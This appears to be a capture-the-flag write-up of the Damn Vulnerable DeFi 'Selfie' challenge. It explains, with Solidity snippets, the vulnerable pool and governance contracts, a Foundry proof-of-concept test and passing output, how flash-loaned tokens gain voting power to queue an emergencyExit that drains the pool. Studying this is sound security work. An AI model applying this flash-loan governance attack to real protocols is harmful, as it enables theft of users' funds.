Skip to main content

Damn selfie


🚩


Flash Loan Governance Exploit

Goal: The attacker’s goal is to drain all tokens from the SelfiePool by exploiting the governance system that trusts flash-loaned tokens for voting power. The attacker temporarily holds a huge amount of tokens, queues a malicious governance action, and then executes it after the governance delay.


How the Vulnerability Works

  1. Snapshot-Based Governance

    • Governance voting uses token snapshots to determine voting power.
    • A snapshot records how many tokens an address holds at that moment.
  2. Flash Loans

    • Flash loans let you borrow a large number of tokens temporarily.
    • The borrower must return the tokens in the same transaction.
  3. The Problem

    • The governance system trusts the snapshot even if the tokens are flash-loaned.
    • This allows attackers to queue proposals using tokens they don’t permanently own.

Step-by-Step Attack Flow

Step 1: Deploy a Malicious Attacker Contract

  • The attacker deploys a smart contract that can request a flash loan and interact with governance.

Step 2: Take a Flash Loan

  • The attacker requests a flash loan from the SelfiePool for all tokens in the pool:

    pool.flashLoan(attackerContract, token, 1_500_000, data);
  • At this point, the attacker temporarily controls almost all tokens.

Step 3: Take a Snapshot for Voting Power

  • While holding the flash-loaned tokens, the attacker calls the snapshot function:

    token.snapshot();
  • The snapshot records the attacker as owning the majority of tokens, giving them enough voting power to queue a governance action.

Step 4: Queue a Malicious Governance Action

  • Using the voting power from the snapshot, the attacker queues an action to drain all tokens from the pool:

    governance.queueAction(
    address(pool),
    0,
    abi.encodeWithSignature("emergencyExit(address)", attacker)
    );
  • The action is now queued but cannot be executed until the governance delay passes.

Step 5: Return the Flash Loan

  • The attacker repays all tokens to the pool in the same transaction:

    token.transferFrom(attacker, pool, 1_500_000);
  • No tokens are lost, and the pool is unaware that it has been “attacked.”

Step 6: Wait for the Governance Delay

  • The governance contract has a 2-day delay before queued actions can be executed.
  • The attacker simply waits for this period to pass.

Step 7: Execute the Malicious Proposal

  • After 2 days, the attacker executes the queued action:

    governance.executeAction(actionId);
  • The pool’s emergencyExit() function is called, sending all tokens to the attacker’s address.


Selfie Pool

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IERC3156FlashLender} from "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {SimpleGovernance} from "./SimpleGovernance.sol";

contract SelfiePool is IERC3156FlashLender, ReentrancyGuard {
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

IERC20 public immutable token;
SimpleGovernance public immutable governance;

error RepayFailed();
error CallerNotGovernance();
error UnsupportedCurrency();
error CallbackFailed();

event EmergencyExit(address indexed receiver, uint256 amount);

modifier onlyGovernance() {
if (msg.sender != address(governance)) {
revert CallerNotGovernance();
}
_;
}

constructor(IERC20 _token, SimpleGovernance _governance) {
token = _token;
governance = _governance;
}

function maxFlashLoan(address _token) external view returns (uint256) {
if (address(token) == _token) {
return token.balanceOf(address(this));
}
return 0;
}

function flashFee(address _token, uint256) external view returns (uint256) {
if (address(token) != _token) {
revert UnsupportedCurrency();
}
return 0;
}

function flashLoan(IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data)
external
nonReentrant
returns (bool)
{
if (_token != address(token)) {
revert UnsupportedCurrency();
}

token.transfer(address(_receiver), _amount);
if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}

if (!token.transferFrom(address(_receiver), address(this), _amount)) {
revert RepayFailed();
}

return true;
}

function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);

emit EmergencyExit(receiver, amount);
}
}


Governance contract

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {DamnValuableVotes} from "../DamnValuableVotes.sol";
import {ISimpleGovernance} from "./ISimpleGovernance.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

contract SimpleGovernance is ISimpleGovernance {
using Address for address;

uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days;

DamnValuableVotes private _votingToken;
uint256 private _actionCounter;
mapping(uint256 => GovernanceAction) private _actions;

constructor(DamnValuableVotes votingToken) {
_votingToken = votingToken;
_actionCounter = 1;
}

function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender)) {
revert NotEnoughVotes(msg.sender);
}

if (target == address(this)) {
revert InvalidTarget();
}

if (data.length > 0 && target.code.length == 0) {
revert TargetMustHaveCode();
}

actionId = _actionCounter;

_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});

unchecked {
_actionCounter++;
}

emit ActionQueued(actionId, msg.sender);
}

function executeAction(uint256 actionId) external payable returns (bytes memory) {
if (!_canBeExecuted(actionId)) {
revert CannotExecute(actionId);
}

GovernanceAction storage actionToExecute = _actions[actionId];
actionToExecute.executedAt = uint64(block.timestamp);

emit ActionExecuted(actionId, msg.sender);

return actionToExecute.target.functionCallWithValue(actionToExecute.data, actionToExecute.value);
}

function getActionDelay() external pure returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}

function getVotingToken() external view returns (address) {
return address(_votingToken);
}

function getAction(uint256 actionId) external view returns (GovernanceAction memory) {
return _actions[actionId];
}

function getActionCounter() external view returns (uint256) {
return _actionCounter;
}

/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];

if (actionToExecute.proposedAt == 0) return false;

uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}

return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}

function _hasEnoughVotes(address who) private view returns (bool) {
uint256 balance = _votingToken.getVotes(who);
uint256 halfTotalSupply = _votingToken.totalSupply() / 2;
return balance > halfTotalSupply;
}
}


POC

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableVotes} from "../../src/DamnValuableVotes.sol";
import {SimpleGovernance} from "../../src/selfie/SimpleGovernance.sol";
import {SelfiePool} from "../../src/selfie/SelfiePool.sol";

import {SelfieAttacker} from "../../src/selfie/SelfieAttacker.sol";
contract SelfieChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");

uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18;
uint256 constant TOKENS_IN_POOL = 1_500_000e18;

DamnValuableVotes token;
SimpleGovernance governance;
SelfiePool pool;

modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}

/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);

// Deploy token
token = new DamnValuableVotes(TOKEN_INITIAL_SUPPLY);

// Deploy governance contract
governance = new SimpleGovernance(token);

// Deploy pool
pool = new SelfiePool(token, governance);

// Fund the pool
token.transfer(address(pool), TOKENS_IN_POOL);

vm.stopPrank();
}

/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(address(pool.token()), address(token));
assertEq(address(pool.governance()), address(governance));
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL);
assertEq(pool.flashFee(address(token), 0), 0);
}

/**
* CODE YOUR SOLUTION HERE
*/
function test_selfie() public checkSolvedByPlayer {
console.log(">> Starting Selfie attack test...");

// Deploy attacker contract
SelfieAttacker attacker = new SelfieAttacker(
address(pool),
address(token),
address(governance),
recovery
);
console.log(">> Attacker contract deployed");

// Initiate attack via flash loan
attacker.initiateAttack(TOKENS_IN_POOL);
console.log(">> Flash loan initiated and action queued");

// Fast-forward 2 days to bypass governance delay
vm.warp(block.timestamp + 2 days);
console.log(">> Time warped 2 days");

// Execute the malicious action
governance.executeAction(attacker.actionId());
console.log(">> Malicious action executed");
}

/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player has taken all tokens from the pool
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}
}



root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_selfie -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.

[⠒] Compiling...
[⠘] Compiling 1 files with Solc 0.8.25
[⠃] Solc 0.8.25 finished in 1.65s
Compiler run successful!

Ran 1 test for test/selfie/Selfie.t.sol:SelfieChallenge
[PASS] test_selfie() (gas: 752646)
Logs:
>> Starting Selfie attack test...
>> Attacker contract deployed
>> Flash loan initiated and action queued
>> Time warped 2 days
>> Malicious action executed

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.02ms (549.83µs CPU time)

Ran 1 test suite in 16.84ms (2.02ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#

Key Points

  • Flash loans + snapshots allow temporary voting power.
  • The attacker never permanently owns the tokens but can control governance decisions.
  • The vulnerability lies in trusting flash-loaned tokens for governance.
  • The attack shows why governance systems should account for temporary token holdings.